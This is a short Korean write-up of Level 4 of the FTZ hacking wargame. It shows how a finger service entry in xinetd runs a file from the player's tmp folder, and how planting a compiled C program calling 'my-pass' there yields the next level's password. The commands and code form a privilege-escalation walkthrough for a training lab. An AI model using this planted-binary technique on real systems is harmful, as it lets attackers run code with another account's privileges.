[FTZ] Level4 Write-up

히힠! 백도어가 있다고????

 

일단 cat으로 내부를 살펴보자.

 

cd /etc/xinetd.d && ls

 

backdoor라는 파일이 보인다.

 

cat backdoor

 

finger라는 서비스가 있는데, /home/level4/tmp/backdoor라는 파일을 실행시킨다는것 같다..!

 

일단 c언어로 my-pass를 실행시켜주는 프로그램을 만들자.

 

cd && cd tmp && cat > backdoor.c

#include <stdio.h>

#include <stdlib.h>

int main(){system("my-pass");}

(Ctrl+C)

gcc -o backdoor backdoor.c

 

finger서비스를 실행한다.

 

finger @localhost

 

Level5 : what is your name?